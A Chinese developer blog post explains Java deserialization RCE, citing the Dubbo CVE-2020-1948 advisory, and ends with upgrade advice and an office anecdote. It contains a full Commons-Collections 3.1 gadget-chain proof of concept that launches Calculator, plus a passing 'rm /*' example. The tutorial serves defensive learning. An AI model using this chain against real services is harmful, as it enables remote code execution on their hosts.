这周收到外部合作同事推送的一篇文章, 【漏洞通告】Apache Dubbo Provider默认反序列化远程代码执行漏洞(CVE-2020-1948)通告 。
按照文章披露的漏洞影响范围,可以说是当前所有的 Dubbo 的版本都有这个问题。
无独有偶,这周在 Github 自己的仓库上推送几行改动,不一会就收到 Github 安全提示,警告当前项目存在安全漏洞 CVE-2018-10237 。
可以看到这两个漏洞都是利用反序列化进行执行恶意代码,可能很多同学跟我当初一样,看到这个一脸懵逼。好端端的反序列化,怎么就能被恶意利用,用来执行的恶意代码?
这篇文章我们就来聊聊反序列化漏洞,了解一下黑客是如何利用这个漏洞进行攻击。
在了解反序列化漏洞之前,首先我们学习一下两个基础知识。
Java 中有一个类 Runtime
,我们可以使用这个类执行执行一些外部命令。
下面例子中我们使用 Runtime
运行打开系统的计算器软件。
// 仅适用macos Runtime.getRuntime().exec("open -a Calculator ");
有了这个类,恶意代码就可以执行外部命令,比如执行一把 rm /*
。
如果经常使用 Dubbo,Java 序列化与反序列化应该不会陌生。
一个类通过实现 Serializable
接口,我们就可以将其序列化成二进制数据,进而存储在文件中,或者使用网络传输。
其他程序可以通过网络接收,或者读取文件的方式,读取序列化的数据,然后对其进行反序列化,从而反向得到相应的类的实例。
下面的例子我们将 App
的对象进行序列化,然后将数据保存到的文件中。后续再从文件中读取序列化数据,对其进行反序列化得到 App
类的对象实例。
public class App implements Serializable { private String name; private static final long serialVersionUID = 7683681352462061434L; private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); System.out.println("readObject name is "+name); Runtime.getRuntime().exec("open -a Calculator"); } public static void main(String[] args) throws IOException, ClassNotFoundException { App app = new App(); app.name = "程序通事"; FileOutputStream fos = new FileOutputStream("test.payload"); ObjectOutputStream os = new ObjectOutputStream(fos); //writeObject()方法将Unsafe对象写入object文件 os.writeObject(app); os.close(); //从文件中反序列化obj对象 FileInputStream fis = new FileInputStream("test.payload"); ObjectInputStream ois = new ObjectInputStream(fis); //恢复对象 App objectFromDisk = (App)ois.readObject(); System.out.println("main name is "+objectFromDisk.name); ois.close(); }
执行结果:
readObject name is 程序通事 main name is 程序通事
并且成功打开了计算器程序。
当我们调用 ObjectInputStream#readObject
读取反序列化的数据,如果对象内实现了 readObject
方法,这个方法将会被调用。
源码如下:
上面的例子中,我们在 readObject
方法内主动使用 Runtime
执行外部命令。但是正常的情况下,我们肯定不会在 readObject
写上述代码,除非是内鬼 ̄□ ̄||
如果可以找到一个对象,他的 readObject
方法可以执行任意代码,那么在反序列过程也会执行对应的代码。我们只要将满足上述条件的对象序列化之后发送给先相应 Java 程序,Java 程序读取之后,进行反序列化,就会执行指定的代码。
为了使反序列化漏洞成功执行需要满足以下条件:
ClassNotFoundException
异常。 readObject
方法可以执行任何代码,没有任何验证或者限制。 引用一段网上的反序列化攻击流程,来源: https://xz.aliyun.com/t/7031
下面我们以 Common-Collections
的存在反序列化漏洞为例,来复现反序列化攻击流程。
首先我们在应用内引入 Common-Collections
依赖,这里需要注意,我们需要引入 3.2.2 版本之前,之后的版本这个漏洞已经被修复。
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency>
PS:下面的代码只有在 JDK7 环境下执行才能复现这个问题。
首先我们需要明确,我们做一系列目的就是为了让应用程序成功执行 Runtime.getRuntime().exec("open -a Calculator")
。
当然我们没办法让程序直接运行上述语句,我们需要借助其他类,间接执行。
Common-Collections
存在一个 Transformer
,可以将一个对象类型转为另一个对象类型,相当于 Java Stream 中的 map
函数。
Transformer
有几个实现类:
ConstantTransformer InvokerTransformer ChainedTransformer
其中 ConstantTransformer
用于将对象转为一个常量值,例如:
Transformer transformer = new ConstantTransformer("程序通事"); Object transform = transformer.transform("楼下小黑哥"); // 输出对象为 程序通事 System.out.println(transform);
InvokerTransformer
将会使用反射机制执行指定方法,例如:
Transformer transformer = new InvokerTransformer( "append", new Class[]{String.class}, new Object[]{"楼下小黑哥"} ); StringBuilder input=new StringBuilder("程序通事-"); // 反射执行了 input.append("楼下小黑哥"); Object transform = transformer.transform(input); // 程序通事-楼下小黑哥 System.out.println(transform);
ChainedTransformer
需要传入一个 Transformer[]
数组对象,使用责任链模式执行的内部 Transformer
,例如:
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}) }; Transformer chainTransformer = new ChainedTransformer(transformers); chainTransformer.transform("任意对象值");
通过 ChainedTransformer
链式执行 ConstantTransformer
, InvokerTransformer
逻辑,最后我们成功的运行的 Runtime
语句。
不过上述的代码存在一些问题, Runtime
没有继承 Serializable
接口,我们无法将其进行序列化。
如果对其进行序列化程序将会抛出异常:
我们需要改造以上代码,使用 Runtime.class
经过一系列的反射执行:
String[] execArgs = new String[]{"open -a Calculator"}; final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} ), new InvokerTransformer( "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), new InvokerTransformer( "exec", new Class[]{String.class}, execArgs), };
刚接触这块的同学的应该已经看晕了吧,没关系,我将上面的代码翻译一下正常的反射代码一下:
((Runtime) Runtime.class. getMethod("getRuntime", null). invoke(null, null)). exec("open -a Calculator");
接下来我们需要找到相关类,可以自动调用 Transformer
内部方法。
Common-Collections
内有两个类将会调用 Transformer
:
TransformedMap LazyMap
下面将会主要介绍 TransformedMap
触发方式, LazyMap
触发方式比较类似,感兴趣的同学可以研究这个开源库 @ysoserial CommonsCollections1
。
Github 地址: https://github.com/frohoff/ysoserial
TransformedMap
可以用来对 Map 进行某种变换,底层原理实际上是使用传入的 Transformer
进行转换。
Transformer transformer = new ConstantTransformer("程序通事"); Map<String, String> testMap = new HashMap<>(); testMap.put("a", "A"); // 只对 value 进行转换 Map decorate = TransformedMap.decorate(testMap, null, transformer); // put 方法将会触发调用 Transformer 内部方法 decorate.put("b", "B"); for (Object entry : decorate.entrySet()) { Map.Entry temp = (Map.Entry) entry; if (temp.getKey().equals("a")) { // Map.Entry setValue 也会触发 Transformer 内部方法 temp.setValue("AAA"); } } System.out.println(decorate);
输出结果为:
{b=程序通事, a=程序通事}
上文中我们知道了,只要调用 TransformedMap
的 put
方法,或者调用 Map.Entry
的 setValue
方法就可以触发我们设置的 ChainedTransformer
,从而触发 Runtime
执行外部命令。
现在我们就需要找到一个可序列化的类,这个类 正好 实现了 readObject
,且 正好 可以调用 Map put
的方法或者调用 Map.Entry
的 setValue
。
Java 中有一个类 sun.reflect.annotation.AnnotationInvocationHandler
,正好满足上述的条件。这个类构造函数可以设置一个 Map
变量,这下刚好可以把上面的 TransformedMap
设置进去。
不过不要高兴的太早,这个类没有 public 修饰符,默认只有同一个包才可以使用。
不过这点难度,跟上面一比,还真是轻松,我们可以通过反射获取从而获取这个类的实例。
示例代码如下:
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); // 随便使用一个注解 Object instance = ctor.newInstance(Target.class, exMap);
完整的序列化漏洞示例代码如下 :
String[] execArgs = new String[]{"open -a Calculator"}; final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} ), new InvokerTransformer( "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), new InvokerTransformer( "exec", new Class[]{String.class}, execArgs), }; // Transformer transformerChain = new ChainedTransformer(transformers); Map<String, String> tempMap = new HashMap<>(); // tempMap 不能为空 tempMap.put("value", "you"); Map exMap = TransformedMap.decorate(tempMap, null, transformerChain); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); // 随便使用一个注解 Object instance = ctor.newInstance(Target.class, exMap); File f = new File("test.payload"); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f)); oos.writeObject(instance); oos.flush(); oos.close(); ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f)); // 触发代码执行 Object newObj = ois.readObject(); ois.close();
上面代码中需要注意, tempMap
需要一定不能为空,且 key
一定要是 value 。那可能有的同学为什么一定要这样设置?
tempMap
不能为空的原因是因为 readObject
方法内需要遍历内部 Map.Entry
.
。
最后总结一下这个反序列化漏洞代码执行链路如下:
在 JDK 8 中, AnnotationInvocationHandler
移除了 memberValue.setValue
的调用,从而使我们上面构造的 AnnotationInvocationHandler
+ TransformedMap
失效。
另外 Common-Collections
3.2.2 版本,对这些不安全的 Java 类序列化支持增加了开关,默认为关闭状态。
比如在 InvokerTransformer
类中重写 readObject
,增相关判断。如果没有开启不安全的类的序列化则会抛出UnsupportedOperationException异常
Dubbo 反序列化漏洞原理与上面的类似,但是执行的代码攻击链与上面完全不一样,这里就不再复现的详细的实现的方式,感兴趣的可以看下面两篇文章:
https://blog.csdn.net/caiqiiqi/article/details/106934770
https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html
Dubbo 在 2020-06-22 日发布 2.7.7 版本,升级内容名其中包括了这个反序列化漏洞的修复。不过从其他人发布的文章来看,2.7.7 版本的修复方式,只是初步改善了问题,不过并没有根本上解决的这个问题。
感兴趣的同学可以看下这篇文章:
https://www.freebuf.com/mob/vuls/241975.html
最后作为一名普通的开发者来说,我们自己来修复这种漏洞,实在不太现实。
术业有专攻,这种专业的事,我们就交给个高的人来顶。
我们需要做的事,就是了解的这些漏洞的一些基本原理,树立的一定意识。
其次我们需要了解一些基本的防护措施,做到一些基本的防御。
如果碰到这类问题,我们及时需要关注官方的新的修复版本,尽早升级,比如 Common-Collections
版本升级。
有些依赖 jar 包,升级还是方便,但是有些东西升级就比较麻烦了。就比如这次 Dubbo 来说,官方目前只放出的 Dubbo 2.7 版本的修复版本,如果我们需要升级,需要将版本直接升级到 Dubbo 2.7.7。
如果你目前已经在使用 Dubbo 2.7 版本,那么升级还是比较简单。但是如果还在使用 Dubbo 2.6 以下版本的,那么就麻烦了,没办法直接升级。
Dubbo 2.6 到 Dubbo 2.7 版本,其中升级太多了东西,就比如包名变更,影响真的比较大。
就拿我们系统来讲,我们目前这套系统,生产还在使用 JDK7。如果需要升级,我们首先需要升级 JDK。
其次,我们目前大部分应用还在使用 Dubbo 2.5.6 版本,这是真的,版本就是这么低。
这部分应用直接升级到 Dubbo 2.7 ,改动其实非常大。另外有些基础服务,自从第一次部署之后,就再也没有重新部署过。对于这类应用还需要仔细评估。
最后,我们有些应用,自己实现了 Dubbo SPI,由于 Dubbo 2.7 版本的包路径改动,这些 Dubbo SPI 相关包路径也需要做出一些改动。
所以直接升级到 Dubbo 2.7 版本的,对于一些老系统来讲,还真是一件比较麻烦的事。
如果真的需要升级,不建议一次性全部升级,建议采用逐步升级替换的方式,慢慢将整个系统的内 Dubbo 版本的升级。
所以这种情况下,短时间内防御措施,可参考玄武实验室给出的方案:
如果当前 Dubbo 部署云上,那其实比较简单,可以使用云厂商的提供的相关流量监控产品,提前一步阻止漏洞的利用。
本人不是从事安全开发,上文中相关总结都是查询网上资料,然后加以自己的理解。如果有任何错误,麻烦各位大佬轻喷~
如果可以的话,留言指出,谢谢了~
好了,说完了正事,来说说这周的趣事~
这周搬到了小黑屋,哼次哼次进入开发~
刚进到小黑屋的时候,我发现里面的桌子,可以单独拆开。于是我就单独拆除一个桌子,然后霸占了一个背靠窗,正面直对大门的 天然划水摸鱼 的好位置。
之后我又叫来另外一个同事,坐在我的边上。当我们的把电脑,显示器啥的都搬过来放到桌子上之后。外面进来的同事就说这个会议室怎么就变成了跟房产线下门店一样了~
还真别说,在我的位置前面摆上两把椅子,就跟上面的图一样了~
好了,下周有点不知道些什么,大家有啥想了解,感兴趣的,可以留言一下~
如果没有写作主题的话,咱就干回老本行,来聊聊这段时间,我在开发的聚合支付模式,尽请期待哈~